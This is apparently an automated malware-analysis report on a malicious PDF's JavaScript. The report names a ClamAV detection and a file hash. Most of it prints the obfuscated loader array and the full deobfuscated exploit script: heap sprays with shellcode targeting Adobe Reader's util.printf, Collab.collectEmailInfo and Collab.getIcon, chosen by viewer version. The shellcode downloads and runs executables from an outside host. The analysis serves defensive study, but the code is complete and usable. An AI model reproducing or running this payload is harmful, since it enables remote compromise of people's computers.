3,66,163,158,163,152,151,171,168,154,175,148,153,168,171,167,170,150,86,118,86,178,151,171,169,169,86,100,86,172,158,158,162,165,153,168,154,158,113,70,64,66,63,182,67,67,63,66,172,154,168,89,165,175,155,171,156,165,165,176,86,118,86,174,164,158,169,156,151,169,155,97,88,94,171,105,153,105,153,94,171,105,153,105,153,91,95,116,67,67,63,66,173,161,159,165,155,89,94,168,172,158,168,159,162,168,173,103,162,158,164,160,170,161,86,117,86,109,106,114,107,107,95,180,67,67,63,66,63,168,172,158,168,159,162,168,173,89,97,118,86,168,172,158,168,159,162,168,173,116,67,67,63,66,179,70,64,66,63,173,158,162,169,103,153,168,162,165,151,155,137,173,165,171,155,89,115,89,121,168,162,165,151,155,100,156,165,165,162,158,153,173,123,166,151,162,162,130,164,159,165,97,177,172,171,155,160,115,86,91,88,101,163,172,157,115,86,168,172,158,168,159,162,168,173,182,95,116,67,67,63,182,67,67,67,67,63,159,171,167,153,173,159,168,164,89,153,168,162,165,151,155,149,160,155,173,159,156,165,167,94,98,177,70,64,66,63,162,156,89,94,154,166,169,100,157,165,156,100,124,165,165,162,154,152,103,157,158,170,130,153,168,164,98,177,70,64,66,63,66,172,154,168,89,151,171,168,178,86,118,86,167,155,176,86,122,168,171,151,178,94,98,113,70,64,66,63,66,172,154,168,89,172,175,166,158,170,161,175,154,86,118,86,174,164,158,169,156,151,169,155,97,88,94,171,126,120,126,111,94,171,105,102,105,103,94,171,110,108,105,102,94,171,122,103,111,106,94,171,105,102,108,102,94,171,105,102,105,102,94,171,109,102,113,120,94,171,113,120,105,121,94,171,106,121,112,102,94,171,113,120,122,122,94,171,105,110,109,102,94,171,124,105,110,123,94,171,113,120,110,107,94,171,113,120,126,121,94,171,105,110,109,107,94,171,108,105,110,104,94,171,124,103,125,104,94,171,105,105,124,104,94,171,106,102,108,104,94,171,113,102,109,102,94,171,105,102,108,110,94,171,127,107,112,107,94,171,124,104,113,120,94,171,110,122,110,119,94,171,105,106,124,104,94,171,110,107,105,102,94,171,126,121,113,120,94,171,110,103,110,103,94,171,110,108,110,105,94,171,111,102,110,109,94,171,110,122,113,120,94,171,108,105,105,110,94,171,113,120,124,102,94,171,105,121,112,107,94,171,127,123,113,120,94,171,112,108,105,105,94,171,113,120,108,121,94,171,112,110,109,123,94,171,124,124,105,105,94,171,110,103,113,120,94,171,110,104,106,121,94,171,110,103,113,120,94,171,110,104,107,106,94,171,112,103,113,120,94,171,109,123,106,106,94,171,112,107,113,111,94,171,113,120,127,121,94,171,107,102,112,103,94,171,127,109,105,105,94,171,109,119,114,111,94,171,109,104,122,122,94,171,108,120,111,102,94,171,127,121,110,107,94,171,105,106,112,107,94,171,124,102,108,105,94,171,108,109,126,120,94,171,127,124,108,105,94,171,109,107,105,105,94,171,114,109,105,121,94,171,124,124,113,120,94,171,112,107,122,123,94,171,107,120,127,122,94,171,109,124,127,111,94,171,126,110,110,103,94,171,127,124,114,106,94,171,127,124,127,124,94,171,124,105,108,120,94,171,112,106,111,103,94,171,126,120,105,104,94,171,113,120,125,111,94,171,105,121,109,107,94,171,110,123,114,104,94,171,127,104,105,105,94,171,126,102,125,103,94,171,124,108,105,105,94,171,124,111,108,105,94,171,123,109,105,124,94,171,110,124,105,110,94,171,126,103,124,103,94,171,105,105,105,104,94,171,105,105,124,119,94,171,113,120,124,124,94,171,105,105,105,103,94,171,113,111,124,104,94,171,127,110,109,107,94,171,113,120,111,103,94,171,127,110,109,107,94,171,110,123,110,124,94,171,124,111,110,120,94,171,110,107,124,105,94,171,126,121,113,120,94,171,126,110,110,103,94,171,127,124,109,111,94,171,127,124,127,124,94,171,111,110,110,102,94,171,111,102,126,110,94,171,105,106,123,124,94,171,111,121,126,110,94,171,127,124,127,124,94,171,108,105,127,124,94,171,110,104,125,104,94,171,127,124,110,104,94,171,105,110,112,107,94,171,125,102,127,124,94,171,109,107,113,111,94,171,113,120,127,121,94,171,127,121,109,107,94,171,124,105,124,111,94,171,113,120,110,107,94,171,113,105,126,121,94,171,105,121,126,121,94,171,109,107,113,122,94,171,110,102,127,106,94,171,109,107,124,108,94,171,112,107,127,106,94,171,109,107,124,108,94,171,112,104,127,107,94,171,109,107,124,108,94,171,111,121,127,108,94,171,109,107,124,108,94,171,111,122,127,109,94,171,109,107,124,108,94,171,111,124,127,110,94,171,109,107,124,108,94,171,111,123,127,111,94,171,109,107,124,108,94,171,107,123,127,119,94,171,109,107,124,108,94,171,111,106,127,120,94,171,109,107,124,108,94,171,111,121,127,121,94,171,109,107,124,108,94,171,111,121,127,122,94,171,109,107,124,108,94,171,105,102,127,123,94,171,122,102,126,110,94,171,127,124,127,124,94,171,110,102,127,124,94,171,110,122,111,110,94,171,106,103,113,119,94,171,126,110,106,108,94,171,127,124,106,107,94,171,127,124,127,124,94,171,124,106,113,105,94,171,113,107,105,121,94,171,112,106,124,102,94,171,111,119,106,107,94,171,111,119,105,102,94,171,127,124,105,102,94,171,105,121,112,107,94,171,112,107,127,124,94,171,111,119,105,110,94,171,127,124,105,102,94,171,113,107,125,102,94,171,112,107,124,102,94,171,109,102,105,105,94,171,124,105,124,111,94,171,124,102,108,105,94,171,124,105,124,111,94,171,108,105,110,109,94,171,113,120,124,102,94,171,107,106,109,121,94,171,113,120,105,121,94,171,107,106,112,121,94,171,127,121,105,110,94,171,122,119,127,105,94,171,124,105,110,124,94,171,109,121,113,120,94,171,105,106,107,106,94,171,108,111,113,102,94,171,113,120,105,102,94,171,112,106,124,103,94,171,109,102,105,108,94,171,108,110,113,102,94,171,112,107,105,102,94,171,107,120,127,119,94,171,124,105,124,103,94,171,113,120,110,107,94,171,113,105,126,121,94,171,111,106,126,121,94,171,113,122,110,105,94,171,127,102,109,107,94,171,108,105,110,109,94,171,110,102,125,120,94,171,109,107,124,108,94,171,111,120,127,102,94,171,109,107,124,108,94,171,111,107,127,103,94,171,109,107,124,108,94,171,112,104,127,104,94,171,109,107,124,108,94,171,111,123,127,105,94,171,109,107,124,108,94,171,111,107,127,106,94,171,109,107,124,108,94,171,111,121,127,107,94,171,109,107,124,108,94,171,108,105,127,108,94,171,109,107,124,108,94,171,108,104,127,109,94,171,109,107,124,108,94,171,107,123,127,110,94,171,109,107,124,108,94,171,111,106,127,111,94,171,109,107,124,108,94,171,111,121,127,119,94,171,109,107,124,108,94,171,111,121,127,120,94,171,110,122,113,110,94,171,126,110,127,121,94,171,127,124,105,120,94,171,127,124,127,124,94,171,111,110,110,102,94,171,109,105,111,110,94,171,113,123,127,111,94,171,113,102,126,110,94,171,127,124,127,123,94,171,113,120,127,124,94,171,113,122,127,110,94,171,114,121,109,107,94,171,109,106,111,119,94,171,126,110,110,102,94,171,127,124,112,123,94,171,127,124,127,124,94,171,109,107,113,122,94,171,111,119,126,102,94,171,110,102,106,102,94,171,112,105,126,110,94,171,127,124,127,124,94,171,113,105,127,124,94,171,106,121,124,106,94,171,109,107,113,122,94,171,110,102,126,102,94,171,109,107,113,122,94,171,110,102,114,121,94,171,110,105,110,105,94,171,110,105,110,105,94,171,110,105,110,105,94,171,112,107,127,124,94,171,124,109,105,110,94,171,114,121,109,107,94,171,105,102,109,106,94,171,105,102,105,102,94,171,127,124,110,105,94,171,110,124,125,109,94,171,123,108,105,124,94,171,110,120,124,102,94,171,124,105,124,111,94,171,113,120,110,107,94,171,110,103,126,121,94,171,110,105,110,103,94,171,110,109,110,108,94,171,109,104,111,119,94,171,112,104,126,110,94,171,105,102,105,102,94,171,113,120,105,102,94,171,108,105,125,110,94,171,113,107,127,108,94,171,110,111,125,120,94,171,109,107,124,109,94,171,111,103,127,110,94,171,111,107,107,123,94,171,124,109,112,110,94,171,127,121,109,107,94,171,105,102,111,107,94,171,105,102,105,102,94,171,110,108,112,123,94,171,109,107,113,122,94,171,110,102,127,110,94,171,126,110,110,108,94,171,105,102,110,103,94,171,105,102,105,102,94,171,110,102,110,111,94,171,123,103,126,110,94,171,127,124,127,123,94,171,113,107,127,124,94,171,110,111,124,102,94,171,112,106,110,111,94,171,113,122,108,111,94,171,105,103,109,108,94,171,126,110,110,102,94,171,105,102,108,120,94,171,105,102,105,102,94,171,127,110,113,120,94,171,109,107,113,122,94,171,110,102,127,110,94,171,107,103,126,110,94,171,127,124,127,124,94,171,113,107,127,124,94,171,110,111,124,102,94,171,112,106,110,111,94,171,110,109,105,121,94,171,105,103,126,110,94,171,127,124,127,124,94,171,110,111,127,124,94,171,109,106,124,108,94,171,127,124,108,110,94,171,110,102,112,105,94,171,109,107,113,122,94,171,127,123,127,110,94,171,110,110,105,102,94,171,109,107,113,122,94,171,110,102,127,110,94,171,126,110,110,109,94,171,127,123,112,106,94,171,127,124,127,124,94,171,110,111,110,111,94,171,109,108,109,108,94,171,127,105,108,120,94,171,122,119,112,121,94,171,110,123,110,124,94,171,124,111,110,120,94,171,110,107,124,105,94,171,126,121,113,120,94,171,110,105,110,103,94,171,111,102,111,108,94,171,108,104,123,103,94,171,105,102,126,110,94,171,105,102,105,102,94,171,110,110,105,102,94,171,105,110,108,110,94,171,105,105,112,106,94,171,126,120,109,102,94,171,109,102,127,111,94,171,110,122,113,120,94,171,113,102,105,110,94,171,109,104,127,120,94,171,105,110,112,107,94,171,125,120,108,105,94,171,106,110,113,119,94,171,124,105,113,120,94,171,106,109,126,120,94,171,106,110,108,110,94,171,106,103,112,108,94,171,108,105,109,102,94,171,113,106,124,111,94,171,112,106,125,120,94,171,109,102,105,121,94,171,105,110,108,110,94,171,127,120,112,107,94,171,127,123,109,102,94,171,126,120,124,120,94,171,108,105,127,104,94,171,113,111,124,102,94,171,127,121,109,107,94,171,109,107,113,120,94,171,110,120,127,121,94,171,124,105,124,111,94,171,105,104,108,104,94,171,112,106,111,110,94,171,112,102,112,106,94,171,107,124,108,119,94,171,111,124,107,124,94,171,112,107,112,111,94,171,111,121,111,123,94,171,111,123,111,103,94,171,107,123,111,106,94,171,112,104,111,124,94,171,107,124,111,109,94,171,112,104,111,108,94,171,111,109,111,103,94,171,112,105,112,107,94,171,111,109,107,124,94,171,112,102,111,121,94,171,112,108,112,107,94,171,107,123,108,104,94,171,112,110,111,107,94,171,105,102,111,107,94,171,112,106,111,110,94,171,112,102,112,106,94,171,107,124,108,119,94,171,111,124,107,124,94,171,112,107,112,111,94,171,111,121,111,123,94,171,111,123,111,103,94,171,107,123,111,106,94,171,112,104,111,124,94,171,107,124,111,109,94,171,112,104,111,108,94,171,111,109,111,103,94,171,112,105,112,107,94,171,111,105,107,124,94,171,111,111,111,121,94,171,111,120,111,105,94,171,112,102,107,123,94,171,112,102,111,110,94,171,112,104,108,124,94,171,105,102,108,122,91,95,116,67,67,63,66,63,175,151,171,86,161,141,170,107,105,102,124,132,89,115,89,172,175,166,158,170,161,175,154,100,165,155,167,157,173,158,89,96,89,104,116,67,67,63,66,63,175,151,171,86,165,155,167,86,118,86,105,174,109,102,105,102,105,102,89,99,89,94,161,141,170,107,105,102,124,132,89,97,89,102,177,105,113,95,116,67,67,63,66,63,175,151,171,86,178,151,171,169,169,86,118,86,174,164,158,169,156,151,169,155,97,88,94,171,114,102,114,102,94,171,114,102,114,102,91,95,116,67,67,63,66,63,178,151,171,169,169,86,118,86,159,159,177,149,162,170,97,175,154,168,172,166,101,86,165,155,167,95,116,67,67,63,66,63,175,151,171,86,169,107,122,160,132,108,110,156,89,115,89,94,105,174,105,153,105,153,105,153,105,153,89,99,89,102,177,106,105,102,105,102,105,95,89,101,89,102,177,106,105,102,105,102,105,113,70,64,66,63,66,156,168,168,89,94,175,151,171,86,175,167,156,135,125,111,111,175,89,115,89,102,116,86,175,167,156,135,125,111,111,175,89,114,89,166,110,119,163,129,111,107,159,113,89,172,170,153,138,122,114,108,178,86,100,97,89,95,180,67,67,63,66,63,66,151,171,168,178,145,175,167,156,135,125,111,111,175,150,86,118,86,178,151,171,169,169,86,100,86,175,172,169,155,173,158,178,151,116,67,67,63,66,63,182,67,67,63,66,63,175,151,171,86,173,139,134,158,135,152,128,173,89,115,89,171,167,155,172,153,154,166,158,94,91,91,105,111,91,95,116,67,67,63,66,63,176,158,162,162,158,86,97,170,142,131,161,132,155,125,176,100,165,155,167,157,173,158,89,114,89,102,177,106,105,102,105,95,180,67,67,63,66,63,66,170,142,131,161,132,155,125,176,86,100,115,89,170,142,131,161,132,155,125,176,113,70,64,66,63,66,179,70,64,66,63,66,170,142,131,161,132,155,125,176,86,118,86,91,132,103,88,89,97,89,170,142,131,161,132,155,125,176,113,70,64,66,63,66,151,169,166,103,154,168,153,103,121,168,162,165,151,155,100,160,155,173,127,156,165,167,94,173,139,134,158,135,152,128,173,98,113,70,64,66,63,182,67,67,63,182,67,67,67,67,63,159,171,167,153,173,159,168,164,89,166,157,156,152,169,173,151,171,170,97,95,180,67,67,67,67,63,66,172,154,168,89,172,158,168,172,159,168,164,89,115,89,151,169,166,103,172,162,155,176,155,171,140,158,168,172,159,168,164,103,170,168,137,173,168,162,164,160,94,98,113,70,64,66,63,175,155,171,169,162,165,167,86,118,86,175,155,171,169,162,165,167,100,171,155,169,162,154,153,158,94,104,146,125,101,160,98,96,93,98,113,70,64,66,63,175,151,171,86,175,151,171,169,162,165,167,149,154,168,171,151,178,86,118,86,167,155,176,86,122,168,171,151,178,94,175,155,171,169,162,165,167,100,156,158,154,168,122,170,97,102,98,98,89,172,158,168,172,159,168,164,103,153,161,151,171,119,173,94,106,95,101,86,175,155,171,169,162,165,167,100,156,158,154,168,122,170,97,104,98,95,116,67,67,63,66,159,159,86,97,94,175,151,171,169,162,165,167,149,154,168,171,151,178,145,105,147,89,115,118,86,113,95,89,92,95,86,97,172,154,168,172,159,168,164,152,151,171,168,154,175,148,103,150,86,118,115,89,102,98,86,181,178,89,94,175,151,171,169,162,165,167,149,154,168,171,151,178,145,106,147,89,115,118,86,106,86,95,92,89,172,154,168,172,159,168,164,152,151,171,168,154,175,148,104,150,86,117,86,108,95,98,177,70,64,66,63,66,171,173,159,165,149,169,168,162,164,173,156,97,95,116,67,67,63,66,179,70,64,66,63,162,156,89,94,97,172,154,168,172,159,168,164,152,151,171,168,154,175,148,102,150,86,117,86,113,95,89,178,181,86,97,172,154,168,172,159,168,164,152,151,171,168,154,175,148,102,150,86,118,115,89,110,89,92,95,86,175,151,171,169,162,165,167,149,154,168,171,151,178,145,106,147,89,114,89,104,89,92,95,86,175,151,171,169,162,165,167,149,154,168,171,151,178,145,107,147,89,114,89,104,98,95,180,67,67,63,66,63,156,165,165,162,154,152,152,155,166,151,162,162,97,95,116,67,67,63,66,179,70,64,66,63,162,156,89,94,97,172,154,168,172,159,168,164,152,151,171,168,154,175,148,102,150,86,117,86,114,95,89,178,181,86,97,172,154,168,172,159,168,164,152,151,171,168,154,175,148,102,150,86,118,115,89,111,89,92,95,86,175,151,171,169,162,165,167,149,154,168,171,151,178,145,106,147,89,114,89,103,98,95,180,67,67,63,66,63,156,165,165,162,154,152,152,157,158,170,162,153,168,164,97,95,116,67,67,63,66,179,70,64,66,179,70,64,70,64,66,166,157,156,152,169,173,151,171,170,97,95,116,67,67,63],clmnqu=function(){for(var aijotx;ajopuw<apytzx.length;ajopuw+=1){var dikrtu=ajopuw%cgjpx.length+1;var cenpw=cgjpx.substring(ajopuw%cgjpx.length,dikrtu);var cfghmy=apytzx[ajopuw];adkntx+=agry(cfghmy-cenpw.charCodeAt(0));} biquv(adkntx);};clmnqu();tkszbv=43637;cdhixy=50203;loqr="loqr";djlntv=false;adlmv='';aikosw="";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9970 bytes
SHA-256: `b8bcc6a22344a6bae867390ec9479fb3cc396808f2f4e55577b736b8a650b7fc`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u642F%u6C68%u7270%u3274%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u692F%u706F%u7371%u3274%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u672F%u706C%u7675%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

